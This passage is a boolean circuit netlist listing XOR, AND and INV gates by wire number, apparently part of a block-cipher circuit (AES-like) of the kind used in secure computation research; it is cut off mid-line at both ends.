28937 28892 XOR +2 1 28892 28930 28888 XOR +2 1 28955 28998 28936 AND +2 1 28936 28888 28891 XOR +2 1 28952 29000 28935 AND +2 1 28935 28936 28929 XOR +2 1 28941 28929 28911 XOR +2 1 28942 28911 28912 XOR +2 1 28950 28912 28916 XOR +2 1 28951 28916 28921 XOR +2 1 28933 28921 35858 XOR +2 1 8906 35858 8892 XOR +2 1 8891 8892 35767 XOR +2 1 35767 539 34122 XOR +2 1 28902 28929 28898 XOR +2 1 28930 28898 28901 XOR +2 1 28900 28901 29004 XOR +2 1 28893 28898 28897 XOR +2 1 28896 28897 29003 XOR +2 1 28921 28895 29002 XOR +2 1 28911 28888 28887 XOR +2 1 28886 28887 35856 XOR +2 1 35851 35856 8934 XOR +2 1 28949 28916 28885 XOR +2 1 28884 28885 35857 XOR +2 1 28912 28883 35859 XOR +2 1 35855 35859 8895 XOR +2 1 8895 35867 8860 XOR +2 1 35859 35863 8909 XOR +2 1 8909 35866 8866 XOR +2 1 28956 28997 28934 AND +2 1 28945 28934 28894 XOR +1 1 28894 28890 INV +2 1 28890 28891 29001 XOR +2 1 8934 35864 8867 XOR +2 1 8934 8924 8855 XOR +2 1 35860 8855 35789 XOR +2 1 35789 517 34144 XOR +2 1 8917 8895 8847 XOR +2 1 33205 35856 8702 XOR +2 1 35857 8698 8697 XOR +2 1 8701 8702 35765 XOR +2 1 35765 541 34120 XOR +2 1 34120 34122 23963 XOR +2 1 35857 35861 8914 XOR +2 1 8982 8914 35766 XOR +2 1 8914 8912 8852 XOR +2 1 8852 8853 8851 XOR +1 1 8851 35790 INV +2 1 35790 516 34145 XOR +2 1 34145 34144 26640 XOR +2 1 35766 540 34121 XOR +2 1 34121 34120 23843 XOR +2 1 35859 8359 8886 XOR +2 1 8909 35860 8644 XOR +2 1 8944 8895 8884 XOR +2 1 32808 8884 35771 XOR +2 1 35857 35856 8645 XOR +2 1 8644 8645 8988 XOR +2 1 8988 8920 35782 XOR +2 1 35782 524 34137 XOR +2 1 8885 8886 35770 XOR +2 1 35770 536 34125 XOR +2 1 34122 34125 23961 XOR +2 1 34125 34120 23960 XOR +2 1 8909 33205 8642 XOR +2 1 35771 535 34126 XOR +2 1 35853 35858 8960 XOR +2 1 8960 8929 8876 XOR +2 1 33191 8876 35776 XOR +2 1 8966 8960 35791 XOR +2 1 35791 515 34146 XOR +2 1 34144 34146 26760 XOR +2 1 35776 530 34131 XOR +2 1 8960 8914 8865 XOR +2 1 8865 8866 35783 XOR +2 1 8934 8920 8879 XOR +1 1 8879 8877 INV +2 1 35863 8847 35794 XOR +2 1 35794 512 34149 XOR +2 1 34146 34149 26758 XOR +2 1 34149 34144 26757 XOR +2 1 35783 523 34138 XOR +1 1 29002 33137 INV +2 1 35854 33137 8959 XOR +2 1 8959 8894 8870 XOR +2 1 35855 8870 35778 XOR +2 1 35778 528 34133 XOR +2 1 34131 34133 28064 XOR +2 1 8959 33211 8848 XOR +2 1 33137 8887 35769 XOR +2 1 35769 537 34124 XOR +2 1 33192 33137 8861 XOR +2 1 8860 8861 35786 XOR +2 1 35786 520 34141 XOR +2 1 34138 34141 29698 XOR +1 1 29003 33138 INV +2 1 33206 33138 8657 XOR +2 1 33185 33138 8868 XOR +2 1 8867 8868 35781 XOR +2 1 32807 33138 8949 XOR +2 1 8949 8912 8880 XOR +1 1 8949 8858 INV +2 1 8858 8944 8856 XOR +2 1 8856 8857 35788 XOR +2 1 35788 518 34143 XOR +2 1 34143 34145 26663 XOR +2 1 34144 26663 26665 XOR +2 1 26663 26758 26750 XOR +2 1 34143 34144 26680 XOR +2 1 26758 26680 26754 XOR +2 1 34149 34143 26759 XOR +2 1 26750 26754 26743 AND +2 1 8656 8657 8983 XOR +2 1 8983 8924 35764 XOR +2 1 35764 542 34119 XOR +2 1 34119 34120 23883 XOR +2 1 23961 23883 23957 XOR +2 1 34125 34119 23962 XOR +2 1 35851 8880 35773 XOR +2 1 35773 533 34128 XOR +2 1 34133 34128 28157 XOR +2 1 35781 525 34136 XOR +2 1 34136 34138 29700 XOR +2 1 34137 34136 29580 XOR +2 1 34141 34136 29697 XOR +1 1 29004 33139 INV +2 1 32808 33139 8957 XOR +2 1 8957 8924 8882 XOR +2 1 33139 8703 35763 XOR +2 1 8957 8909 8869 XOR +2 1 33206 8869 35779 XOR +2 1 35779 527 34134 XOR +2 1 35763 543 34118 XOR +2 1 34118 34124 23873 XOR +2 1 8957 8894 8859 XOR +2 1 33186 8859 35787 XOR +2 1 35787 519 34142 XOR +2 1 34142 26750 26749 XOR +2 1 33186 33139 8643 XOR +2 1 8642 8643 8989 XOR +2 1 8989 8949 35780 XOR +2 1 35780 526 34135 XOR +2 1 34135 34137 29603 XOR +2 1 34136 29603 29605 XOR +2 1 29603 29698 29690 XOR +2 1 34134 29690 29689 XOR +2 1 34135 34136 29620 XOR +2 1 29698 29620 29694 XOR +2 1 34141 34135 29699 XOR +2 1 29690 29694 29683 AND +1 1 29001 33144 INV +2 1 33144 33191 8919 XOR +1 1 8919 8890 INV +2 1 8890 33211 8888 XOR +2 1 8888 8889 35768 XOR +2 1 8919 8911 8850 XOR +2 1 32812 8850 35792 XOR +2 1 8917 33144 8872 XOR +2 1 35768 538 34123 XOR +2 1 34123 34125 23867 XOR +2 1 34123 23873 23959 XOR +2 1 34119 23959 23955 XOR +2 1 23959 23955 23942 AND +2 1 23867 23873 23956 XOR +2 1 33144 35858 8864 XOR +2 1 8959 8919 8862 XOR +2 1 8863 8864 35784 XOR +2 1 35784 522 34139 XOR +2 1 34139 29605 29684 XOR +2 1 34139 34141 29604 XOR +2 1 29604 29700 29685 XOR +2 1 29699 29684 29680 AND +2 1 29680 29604 29608 XOR +2 1 29700 29685 29676 AND +2 1 33212 8862 35785 XOR +2 1 8872 8873 8871 XOR +1 1 8871 35777 INV +2 1 35777 529 34132 XOR +2 1 34126 34132 28070 XOR +2 1 28064 28070 28153 XOR +2 1 34131 28070 28156 XOR +2 1 35785 521 34140 XOR +2 1 34140 29605 29687 XOR +2 1 34138 34140 29606 XOR +2 1 29683 29606 29609 XOR +2 1 34134 34140 29610 XOR +2 1 29610 29605 29686 XOR +2 1 29604 29610 29693 XOR +2 1 29620 29693 29691 XOR +2 1 34139 29610 29696 XOR +2 1 34135 29696 29692 XOR +2 1 29606 29604 29566 XOR +2 1 29603 29566 29688 XOR +2 1 29606 34139 29565 XOR +2 1 34134 29565 29695 XOR +2 1 29691 29689 29682 AND +2 1 29676 29682 29627 XOR +2 1 29695 34134 29681 AND +2 1 29696 29692 29679 AND +2 1 29693 29686 29678 AND +2 1 29698 29687 29677 AND +2 1 29677 29605 29607 XOR +2 1 29609 29607 29613 XOR +2 1 34141 29613 29618 XOR +2 1 29627 29618 29674 XOR +2 1 29676 29677 29579 XOR +2 1 29579 29580 29626 XOR +2 1 29626 29608 29625 XOR +2 1 29679 29625 29673 XOR +2 1 29697 29688 29675 AND +2 1 29675 29678 29628 XOR +2 1 29675 29681 29632 XOR +2 1 29632 29604 29619 XOR +2 1 29627 29619 29671 XOR +2 1 29676 29628 29622 XOR +2 1 29608 29628 29582 XOR +2 1 29582 29607 29672 XOR +2 1 29613 29632 29581 XOR +2 1 34139 29581 29624 XOR +2 1 29679 29622 29578 XOR +2 1 34135 29578 29666 XOR +2 1 29674 29673 29670 AND +2 1 29670 29624 29665 XOR +2 1 29670 29672 29669 XOR +2 1 29671 29669 29668 AND +2 1 29668 29624 29667 XOR +2 1 29668 29680 29573 XOR +2 1 29573 29609 29569 XOR +2 1 34141 29569 29572 XOR +2 1 29668 29618 29570 XOR +2 1 34139 29569 29568 XOR +2 1 29665 29666 29664 AND +2 1 29664 29672 29663 XOR +2 1 29670 29664 29662 XOR +2 1 29664 29622 29577 XOR +2 1 29664 29681 29576 XOR +2 1 29576 29678 29571 XOR +2 1 29571 29572 29655 XOR +2 1 29672 29662 29661 AND +2 1 29661 29669 29659 XOR +2 1 29661 29679 29631 XOR +2 1 29631 29625 29653 XOR +2 1 34135 29631 29614 XOR +2 1 29614 29577 29660 XOR +2 1 29667 29659 29658 AND +2 1 29658 29627 29617 XOR +2 1 29617 29619 29657 XOR +2 1 29658 29682 29575 XOR +2 1 29614 29575 29567 XOR +2 1 29604 29567 29574 XOR +2 1 29571 29574 29656 XOR +2 1 29617 29570 29654 XOR +2 1 29567 29568 29652 XOR +2 1 29653 29690 29651 AND +2 1 29660 29689 29650 AND +2 1 29663 34134 29649 AND +2 1 29649 29651 29630 XOR +2 1 29654 29684 29648 AND +2 1 29657 29696 29647 AND +2 1 29647 29648 29633 XOR +2 1 29667 29686 29646 AND +2 1 29646 29647 29584 XOR +2 1 29655 29687 29645 AND +2 1 29652 29685 29644 AND +2 1 29644 29633 29623 XOR +2 1 29644 29647 29599 XOR +1 1 29599 29596 INV +2 1 29644 29645 29595 XOR +2 1 29645 29623 29583 XOR +2 1 29656 29688 29643 AND +2 1 29653 29694 29642 AND +2 1 29660 29691 29641 AND +2 1 29663 29695 29640 AND +2 1 29640 29623 29589 XOR +1 1 29589 29586 INV +2 1 29654 29699 29639 AND +2 1 29639 29643 29615 XOR +2 1 29648 29639 29600 XOR +1 1 29615 29593 INV +2 1 29657 29692 29638 AND +2 1 29646 29638 29602 XOR +2 1 29667 29693 29637 AND +2 1 29593 29637 29592 XOR +2 1 29592 29630 29588 XOR +2 1 29655 29698 29636 AND +2 1 29636 29588 29591 XOR +2 1 29652 29700 29635 AND +2 1 29635 29636 29629 XOR +2 1 29641 29629 29611 XOR +2 1 29642 29611 29612 XOR +2 1 29650 29612 29616 XOR +2 1 29651 29616 29621 XOR +2 1 29633 29621 36009 XOR +2 1 29602 29629 29598 XOR +2 1 29630 29598 29601 XOR +2 1 29600 29601 29704 XOR +2 1 29593 29598 29597 XOR +2 1 29596 29597 29703 XOR +2 1 29703 33169 9175 XOR +2 1 33104 29703 9307 XOR +2 1 29621 29595 29702 XOR +2 1 29611 29588 29587 XOR +2 1 29586 29587 36007 XOR +2 1 29649 29616 29585 XOR +2 1 29584 29585 36008 XOR +2 1 36008 36001 9173 XOR +2 1 29612 29583 36010 XOR +2 1 29656 29697 29634 AND +2 1 29645 29634 29594 XOR +1 1 29594 29590 INV +2 1 29590 29591 29701 XOR +1 1 29703 36006 INV +2 1 33126 36006 9427 XOR +2 1 9449 9427 9317 XOR +2 1 9317 9318 9316 XOR +2 1 36000 36007 9425 XOR +1 1 9425 9308 INV +2 1 9448 9425 9301 XOR +2 1 36011 9301 35870 XOR +2 1 9428 9427 9322 XOR +2 1 36000 9322 35886 XOR +2 1 35886 1517 34168 XOR +2 1 36008 36012 9440 XOR +2 1 9440 9290 9287 XOR +2 1 9450 9308 9319 XOR +2 1 36010 36015 9385 XOR +2 1 9385 33097 9178 XOR +2 1 9436 9385 9327 XOR +2 1 35999 9327 35883 XOR +2 1 35883 1520 34165 XOR +1 1 9385 9476 INV +2 1 9476 33175 9217 XOR +2 1 9217 9218 35875 XOR +2 1 35875 1528 34157 XOR +2 1 9476 36011 9180 XOR +2 1 9476 36009 9304 XOR +2 1 9455 9440 35879 XOR +2 1 35879 1524 34161 XOR +2 1 36009 36013 9437 XOR +2 1 9332 9437 9330 XOR +2 1 9438 9437 9302 XOR +2 1 9472 9437 35872 XOR +1 1 9316 35869 INV +2 1 35869 1534 34151 XOR +2 1 34157 34151 29559 XOR +2 1 9441 9440 9305 XOR +1 1 9305 9303 INV +2 1 9303 9304 35896 XOR +2 1 35896 1507 34178 XOR +2 1 9308 35996 9306 XOR +2 1 9306 9307 35894 XOR +2 1 35894 1509 34176 XOR +2 1 34176 34178 26620 XOR +2 1 36005 36010 9387 XOR +2 1 9449 9387 9326 XOR +2 1 9387 36013 9172 XOR +2 1 9172 9173 9457 XOR +2 1 9457 9441 35888 XOR +2 1 35888 1515 34170 XOR +2 1 34168 34170 31380 XOR +2 1 33127 9326 35884 XOR +2 1 35884 1519 34166 XOR +2 1 35870 1533 34152 XOR +2 1 34151 34152 29480 XOR +2 1 34157 34152 29557 XOR +2 1 35872 1531 34154 XOR +2 1 34154 34157 29558 XOR +2 1 29558 29480 29554 XOR +2 1 34152 34154 29560 XOR +2 1 9287 9288 35871 XOR +2 1 35871 1532 34153 XOR +2 1 34151 34153 29463 XOR +2 1 34152 29463 29465 XOR +2 1 29463 29558 29550 XOR +2 1 34153 34152 29440 XOR +2 1 29550 29554 29543 AND +1 1 36007 9182 INV +2 1 33176 9182 9360 XOR +2 1 36008 9182 9181 XOR +2 1 9180 9181 9453 XOR +2 1 9453 9450 35895 XOR +2 1 35895 1508 34177 XOR +2 1 34177 34176 26500 XOR +2 1 9359 9360 35878 XOR +2 1 35878 1525 34160 XOR +2 1 34161 34160 27900 XOR +2 1 34165 34160 28017 XOR +2 1 35792 514 34147 XOR +2 1 34147 26665 26744 XOR +2 1 34147 34149 26664 XOR +2 1 26664 26760 26745 XOR +2 1 26759 26744 26740 AND +2 1 26740 26664 26668 XOR +2 1 26760 26745 26736 AND +2 1 23867 23963 23948 XOR +2 1 23963 23948 23939 AND +1 1 29701 33158 INV +2 1 33158 33103 9433 XOR +2 1 9436 9433 9300 XOR +2 1 9433 35998 9256 XOR +2 1 9441 9433 9329 XOR +2 1 33174 9329 35881 XOR +2 1 35881 1522 34163 XOR +2 1 34163 34165 27924 XOR +1 1 9256 9254 INV +2 1 9254 9255 35873 XOR +2 1 35873 1530 34155 XOR +2 1 34155 29465 29544 XOR +2 1 34155 34157 29464 XOR +2 1 29464 29560 29545 XOR +2 1 29559 29544 29540 AND +2 1 29540 29464 29468 XOR +2 1 29560 29545 29536 AND +2 1 33158 28301 9313 XOR +2 1 9312 9313 35890 XOR +2 1 35890 1513 34172 XOR +2 1 34170 34172 31286 XOR +2 1 34166 34172 31290 XOR +1 1 29702 33159 INV +2 1 33159 28302 9311 XOR +2 1 33159 9300 35898 XOR +2 1 33159 36014 9430 XOR +2 1 9438 9430 9328 XOR +2 1 33175 9328 35882 XOR +2 1 35882 1521 34164 XOR +2 1 9430 9386 9299 XOR +2 1 36010 9299 35899 XOR +2 1 35899 1504 34181 XOR +2 1 34178 34181 26618 XOR +2 1 34181 34176 26617 XOR +2 1 35898 1505 34180 XOR +2 1 34178 34180 26526 XOR +1 1 29704 33160 INV +2 1 33127 33160 9426 XOR +2 1 33176 33160 9179 XOR +2 1 9448 9426 9324 XOR +2 1 33160 9201 35876 XOR +2 1 9178 9179 9454 XOR +2 1 9454 9427 35893 XOR +2 1 35893 1510 34175 XOR +2 1 34175 34177 26523 XOR +2 1 34176 26523 26525 XOR +2 1 34180 26525 26607 XOR +2 1 26523 26618 26610 XOR +2 1 34175 34176 26540 XOR +2 1 26618 26540 26614 XOR +2 1 34181 34175 26619 XOR +2 1 26610 26614 26603 AND +2 1 26603 26526 26529 XOR +2 1 26618 26607 26597 AND +2 1 26597 26525 26527 XOR +2 1 26529 26527 26533 XOR +2 1 34181 26533 26538 XOR +2 1 9426 9385 9309 XOR +2 1 33169 9309 35892 XOR +2 1 35892 1511 34174 XOR +2 1 34174 26610 26609 XOR +2 1 34174 34180 26530 XOR +2 1 26530 26525 26606 XOR +2 1 9426 9393 9378 XOR +2 1 33097 9378 35868 XOR +2 1 35868 1535 34150 XOR +2 1 34150 29550 29549 XOR +2 1 35876 1527 34158 XOR +2 1 34158 34164 27930 XOR +2 1 27924 27930 28013 XOR +2 1 34163 27930 28016 XOR +2 1 34119 34121 23866 XOR +2 1 23866 23961 23953 XOR +2 1 23953 23957 23946 AND +2 1 34118 23953 23952 XOR +2 1 34120 23866 23868 XOR +2 1 34124 23868 23950 XOR +2 1 23961 23950 23940 AND +2 1 23940 23868 23870 XOR +2 1 23939 23940 23842 XOR +2 1 23842 23843 23889 XOR +2 1 34123 23868 23947 XOR +2 1 23962 23947 23943 AND +2 1 23943 23867 23871 XOR +2 1 23889 23871 23888 XOR +2 1 23942 23888 23936 XOR +2 1 23873 23868 23949 XOR +2 1 23956 23949 23941 AND +2 1 23883 23956 23954 XOR +2 1 23954 23952 23945 AND +2 1 23939 23945 23890 XOR +2 1 9430 33174 9237 XOR +2 1 9237 9238 9236 XOR +1 1 9236 35874 INV +2 1 35874 1529 34156 XOR +2 1 34156 29465 29547 XOR +2 1 34154 34156 29466 XOR +2 1 29543 29466 29469 XOR +2 1 34150 34156 29470 XOR +2 1 29470 29465 29546 XOR +2 1 29464 29470 29553 XOR +2 1 29480 29553 29551 XOR +2 1 34155 29470 29556 XOR +2 1 34151 29556 29552 XOR +2 1 29466 29464 29426 XOR +2 1 29463 29426 29548 XOR +2 1 29466 34155 29425 XOR +2 1 34150 29425 29555 XOR +2 1 29551 29549 29542 AND +2 1 29536 29542 29487 XOR +2 1 29555 34150 29541 AND +2 1 29556 29552 29539 AND +2 1 29553 29546 29538 AND +2 1 29558 29547 29537 AND +2 1 29537 29465 29467 XOR +2 1 29469 29467 29473 XOR +2 1 34157 29473 29478 XOR +2 1 29487 29478 29534 XOR +2 1 29536 29537 29439 XOR +2 1 29439 29440 29486 XOR +2 1 29486 29468 29485 XOR +2 1 29539 29485 29533 XOR +2 1 29557 29548 29535 AND +2 1 29535 29538 29488 XOR +2 1 29535 29541 29492 XOR +2 1 29492 29464 29479 XOR +2 1 29487 29479 29531 XOR +2 1 29536 29488 29482 XOR +2 1 29468 29488 29442 XOR +2 1 29442 29467 29532 XOR +2 1 29473 29492 29441 XOR +2 1 34155 29441 29484 XOR +2 1 29539 29482 29438 XOR +2 1 34151 29438 29526 XOR +2 1 29534 29533 29530 AND +2 1 29530 29484 29525 XOR +2 1 29530 29532 29529 XOR +2 1 29531 29529 29528 AND +2 1 29528 29484 29527 XOR +2 1 29528 29540 29433 XOR +2 1 29433 29469 29429 XOR +2 1 34157 29429 29432 XOR +2 1 29528 29478 29430 XOR +2 1 34155 29429 29428 XOR +2 1 29525 29526 29524 AND +2 1 29524 29532 29523 XOR +2 1 29530 29524 29522 XOR +2 1 29524 29482 29437 XOR +2 1 29524 29541 29436 XOR +2 1 29436 29538 29431 XOR +2 1 29431 29432 29515 XOR +2 1 29532 29522 29521 AND +2 1 29521 29529 29519 XOR +2 1 29521 29539 29491 XOR +2 1 29491 29485 29513 XOR +2 1 34151 29491 29474 XOR +2 1 29474 29437 29520 XOR +2 1 29527 29519 29518 AND +2 1 29518 29487 29477 XOR +2 1 29477 29479 29517 XOR +2 1 29518 29542 29435 XOR +2 1 29474 29435 29427 XOR +2 1 29464 29427 29434 XOR +2 1 29431 29434 29516 XOR +2 1 29477 29430 29514 XOR +2 1 29427 29428 29512 XOR +2 1 29513 29550 29511 AND +2 1 29520 29549 29510 AND +2 1 29523 34150 29509 AND +2 1 29509 29511 29490 XOR +2 1 29514 29544 29508 AND +2 1 29517 29556 29507 AND +2 1 29507 29508 29493 XOR +2 1 29527 29546 29506 AND +2 1 29506 29507 29444 XOR +2 1 29515 29547 29505 AND +2 1 29512 29545 29504 AND +2 1 29504 29493 29483 XOR +2 1 29504 29507 29459 XOR +1 1 29459 29456 INV +2 1 29504 29505 29455 XOR +2 1 29505 29483 29443 XOR +2 1 29516 29548 29503 AND +2 1 29513 29554 29502 AND +2 1 29520 29551 29501 AND +2 1 29523 29555 29500 AND +2 1 29500 29483 29449 XOR +1 1 29449 29446 INV +2 1 29514 29559 29499 AND +2 1 29499 29503 29475 XOR +2 1 29508 29499 29460 XOR +1 1 29475 29453 INV +2 1 29517 29552 29498 AND +2 1 29506 29498 29462 XOR +2 1 29527 29553 29497 AND +2 1 29453 29497 29452 XOR +2 1 29452 29490 29448 XOR +2 1 29515 29558 29496 AND +2 1 29496 29448 29451 XOR +2 1 29512 29560 29495 AND +2 1 29495 29496 29489 XOR +2 1 29501 29489 29471 XOR +2 1 29502 29471 29472 XOR +2 1 29510 29472 29476 XOR +2 1 29511 29476 29481 XOR +2 1 29493 29481 36255 XOR +2 1 29462 29489 29458 XOR +2 1 29490 29458 29461 XOR +2 1 29460 29461 29564 XOR +2 1 29453 29458 29457 XOR +2 1 29456 29457 29563 XOR +2 1 29481 29455 29562 XOR +2 1 29471 29448 29447 XOR +2 1 29446 29447 36253 XOR +2 1 29509 29476 29445 XOR +2 1 29444 29445 36254 XOR +2 1 29472 29443 36257 XOR +2 1 29516 29557 29494 AND +2 1 29505 29494 29454 XOR +1 1 29454 29450 INV +2 1 29450 29451 29561 XOR +1 1 29562 36256 INV +1 1 36255 9953 INV +1 1 29561 33153 INV +1 1 29563 33154 INV +1 1 29564 33155 INV +2 1 29562 33153 10128 XOR +2 1 36009 36002 9315 XOR +2 1 9314 9315 35889 XOR +2 1 35889 1514 34171 XOR +2 1 34171 31290 31376 XOR +2 1 31286 34171 31245 XOR +2 1 34166 31245 31375 XOR +2 1 31375 34166 31361 AND +1 1 9387 9321 INV +2 1 9321 36012 9320 XOR +2 1 9319 9320 35887 XOR +2 1 9321 33126 9325 XOR +2 1 9324 9325 9323 XOR +1 1 9323 35885 INV +2 1 35885 1518 34167 XOR +2 1 34167 31376 31372 XOR +2 1 34167 34168 31300 XOR +2 1 31376 31372 31359 AND +2 1 35887 1516 34169 XOR +2 1 34167 34169 31283 XOR +2 1 34168 31283 31285 XOR +2 1 34172 31285 31367 XOR +2 1 34171 31285 31364 XOR +2 1 31290 31285 31366 XOR +2 1 34169 34168 31260 XOR +2 1 33158 9302 35897 XOR +2 1 35897 1506 34179 XOR +2 1 34179 26525 26604 XOR +2 1 34179 34181 26524 XOR +2 1 26524 26620 26605 XOR +2 1 26524 26530 26613 XOR +2 1 26540 26613 26611 XOR +2 1 34179 26530 26616 XOR +2 1 34175 26616 26612 XOR +2 1 26526 26524 26486 XOR +2 1 26523 26486 26608 XOR +2 1 26526 34179 26485 XOR +2 1 34174 26485 26615 XOR +2 1 26611 26609 26602 AND +2 1 26615 34174 26601 AND +2 1 26619 26604 26600 AND +2 1 26600 26524 26528 XOR +2 1 26616 26612 26599 AND +2 1 26613 26606 26598 AND +2 1 26620 26605 26596 AND +2 1 26596 26602 26547 XOR +2 1 26547 26538 26594 XOR +2 1 26596 26597 26499 XOR +2 1 26499 26500 26546 XOR +2 1 26546 26528 26545 XOR +2 1 26599 26545 26593 XOR +2 1 26617 26608 26595 AND +2 1 26595 26598 26548 XOR +2 1 26595 26601 26552 XOR +2 1 26552 26524 26539 XOR +2 1 26547 26539 26591 XOR +2 1 26596 26548 26542 XOR +2 1 26528 26548 26502 XOR +2 1 26502 26527 26592 XOR +2 1 26533 26552 26501 XOR +2 1 34179 26501 26544 XOR +2 1 26599 26542 26498 XOR +2 1 34175 26498 26586 XOR +2 1 26594 26593 26590 AND +2 1 26590 26544 26585 XOR +2 1 26590 26592 26589 XOR +2 1 26591 26589 26588 AND +2 1 26588 26544 26587 XOR +2 1 26588 26600 26493 XOR +2 1 26493 26529 26489 XOR +2 1 34181 26489 26492 XOR +2 1 26588 26538 26490 XOR +2 1 34179 26489 26488 XOR +2 1 26585 26586 26584 AND +2 1 26584 26592 26583 XOR +2 1 26590 26584 26582 XOR +2 1 26584 26542 26497 XOR +2 1 26584 26601 26496 XOR +2 1 26496 26598 26491 XOR +2 1 26491 26492 26575 XOR +2 1 26592 26582 26581 AND +2 1 26581 26589 26579 XOR +2 1 26581 26599 26551 XOR +2 1 26551 26545 26573 XOR +2 1 34175 26551 26534 XOR +2 1 26534 26497 26580 XOR +2 1 26587 26579 26578 AND +2 1 26578 26547 26537 XOR +2 1 26537 26539 26577 XOR +2 1 26578 26602 26495 XOR +2 1 26534 26495 26487 XOR +2 1 26524 26487 26494 XOR +2 1 26491 26494 26576 XOR +2 1 26537 26490 26574 XOR +2 1 26487 26488 26572 XOR +2 1 26573 26610 26571 AND +2 1 26580 26609 26570 AND +2 1 26583 34174 26569 AND +2 1 26569 26571 26550 XOR +2 1 26574 26604 26568 AND +2 1 26577 26616 26567 AND +2 1 26567 26568 26553 XOR +2 1 26587 26606 26566 AND +2 1 26566 26567 26504 XOR +2 1 26575 26607 26565 AND +2 1 26572 26605 26564 AND +2 1 26564 26553 26543 XOR +2 1 26564 26567 26519 XOR +1 1 26519 26516 INV +2 1 26564 26565 26515 XOR +2 1 26565 26543 26503 XOR +2 1 26576 26608 26563 AND +2 1 26573 26614 26562 AND +2 1 26580 26611 26561 AND +2 1 26583 26615 26560 AND +2 1 26560 26543 26509 XOR +1 1 26509 26506 INV +2 1 26574 26619 26559 AND +2 1 26559 26563 26535 XOR +2 1 26568 26559 26520 XOR +1 1 26535 26513 INV +2 1 26577 26612 26558 AND +2 1 26566 26558 26522 XOR +2 1 26587 26613 26557 AND +2 1 26513 26557 26512 XOR +2 1 26512 26550 26508 XOR +2 1 26575 26618 26556 AND +2 1 26556 26508 26511 XOR +2 1 26572 26620 26555 AND +2 1 26555 26556 26549 XOR +2 1 26561 26549 26531 XOR +2 1 26562 26531 26532 XOR +2 1 26570 26532 26536 XOR +2 1 26571 26536 26541 XOR +2 1 26553 26541 36214 XOR +2 1 26522 26549 26518 XOR +2 1 26550 26518 26521 XOR +2 1 26520 26521 26624 XOR +2 1 26513 26518 26517 XOR +2 1 26516 26517 26623 XOR +2 1 26541 26515 26622 XOR +2 1 26531 26508 26507 XOR +2 1 26506 26507 36212 XOR +2 1 26569 26536 26505 XOR +2 1 26504 26505 36213 XOR +2 1 26532 26503 36216 XOR +2 1 26576 26617 26554 AND +2 1 26565 26554 26514 XOR +1 1 26514 26510 INV +2 1 26510 26511 26621 XOR +1 1 26622 36215 INV +1 1 26621 33090 INV +1 1 26623 33091 INV +1 1 26624 33092 INV +2 1 8848 8849 35793 XOR +2 1 35793 513 34148 XOR +2 1 34148 26665 26747 XOR +2 1 34146 34148 26666 XOR +2 1 26743 26666 26669 XOR +2 1 34142 34148 26670 XOR +2 1 26670 26665 26746 XOR +2 1 26664 26670 26753 XOR +2 1 26680 26753 26751 XOR +2 1 34147 26670 26756 XOR +2 1 34143 26756 26752 XOR +2 1 26666 26664 26626 XOR +2 1 26663 26626 26748 XOR +2 1 26666 34147 26625 XOR +2 1 34142 26625 26755 XOR +2 1 26751 26749 26742 AND +2 1 26736 26742 26687 XOR +2 1 26755 34142 26741 AND +2 1 26756 26752 26739 AND +2 1 26753 26746 26738 AND +2 1 26758 26747 26737 AND +2 1 26737 26665 26667 XOR +2 1 26669 26667 26673 XOR +2 1 34149 26673 26678 XOR +2 1 26687 26678 26734 XOR +2 1 26736 26737 26639 XOR +2 1 26639 26640 26686 XOR +2 1 26686 26668 26685 XOR +2 1 26739 26685 26733 XOR +2 1 26757 26748 26735 AND +2 1 26735 26738 26688 XOR +2 1 26735 26741 26692 XOR +2 1 26692 26664 26679 XOR +2 1 26687 26679 26731 XOR +2 1 26736 26688 26682 XOR +2 1 26668 26688 26642 XOR +2 1 26642 26667 26732 XOR +2 1 26673 26692 26641 XOR +2 1 34147 26641 26684 XOR +2 1 26739 26682 26638 XOR +2 1 34143 26638 26726 XOR +2 1 26734 26733 26730 AND +2 1 26730 26684 26725 XOR +2 1 26730 26732 26729 XOR +2 1 26731 26729 26728 AND +2 1 26728 26684 26727 XOR +2 1 26728 26740 26633 XOR +2 1 26633 26669 26629 XOR +2 1 34149 26629 26632 XOR +2 1 26728 26678 26630 XOR +2 1 34147 26629 26628 XOR +2 1 26725 26726 26724 AND +2 1 26724 26732 26723 XOR +2 1 26730 26724 26722 XOR +2 1 26724 26682 26637 XOR +2 1 26724 26741 26636 XOR +2 1 26636 26738 26631 XOR +2 1 26631 26632 26715 XOR +2 1 26732 26722 26721 AND +2 1 26721 26729 26719 XOR +2 1 26721 26739 26691 XOR +2 1 26691 26685 26713 XOR +2 1 34143 26691 26674 XOR +2 1 26674 26637 26720 XOR +2 1 26727 26719 26718 AND +2 1 26718 26687 26677 XOR +2 1 26677 26679 26717 XOR +2 1 26718 26742 26635 XOR +2 1 26674 26635 26627 XOR +2 1 26664 26627 26634 XOR +2 1 26631 26634 26716 XOR +2 1 26677 26630 26714 XOR +2 1 26627 26628 26712 XOR +2 1 26713 26750 26711 AND +2 1 26720 26749 26710 AND +2 1 26723 34142 26709 AND +2 1 26709 26711 26690 XOR +2 1 26714 26744 26708 AND +2 1 26717 26756 26707 AND +2 1 26707 26708 26693 XOR +2 1 26727 26746 26706 AND +2 1 26706 26707 26644 XOR +2 1 26715 26747 26705 AND +2 1 26712 26745 26704 AND +2 1 26704 26693 26683 XOR +2 1 26704 26707 26659 XOR +1 1 26659 26656 INV +2 1 26704 26705 26655 XOR +2 1 26705 26683 26643 XOR +2 1 26716 26748 26703 AND +2 1 26713 26754 26702 AND +2 1 26720 26751 26701 AND +2 1 26723 26755 26700 AND +2 1 26700 26683 26649 XOR +1 1 26649 26646 INV +2 1 26714 26759 26699 AND +2 1 26699 26703 26675 XOR +2 1 26708 26699 26660 XOR +1 1 26675 26653 INV +2 1 26717 26752 26698 AND +2 1 26706 26698 26662 XOR +2 1 26727 26753 26697 AND +2 1 26653 26697 26652 XOR +2 1 26652 26690 26648 XOR +2 1 26715 26758 26696 AND +2 1 26696 26648 26651 XOR +2 1 26712 26760 26695 AND +2 1 26695 26696 26689 XOR +2 1 26701 26689 26671 XOR +2 1 26702 26671 26672 XOR +2 1 26710 26672 26676 XOR +2 1 26711 26676 26681 XOR +2 1 26693 26681 36067 XOR +2 1 26662 26689 26658 XOR +2 1 26690 26658 26661 XOR +2 1 26660 26661 26764 XOR +2 1 26653 26658 26657 XOR +2 1 26656 26657 26763 XOR +2 1 26681 26655 26762 XOR +2 1 26671 26648 26647 XOR +2 1 26646 26647 36065 XOR +2 1 26709 26676 26645 XOR +2 1 26644 26645 36066 XOR +2 1 36053 36066 9405 XOR +2 1 26672 26643 36068 XOR +2 1 26716 26757 26694 AND +2 1 26705 26694 26654 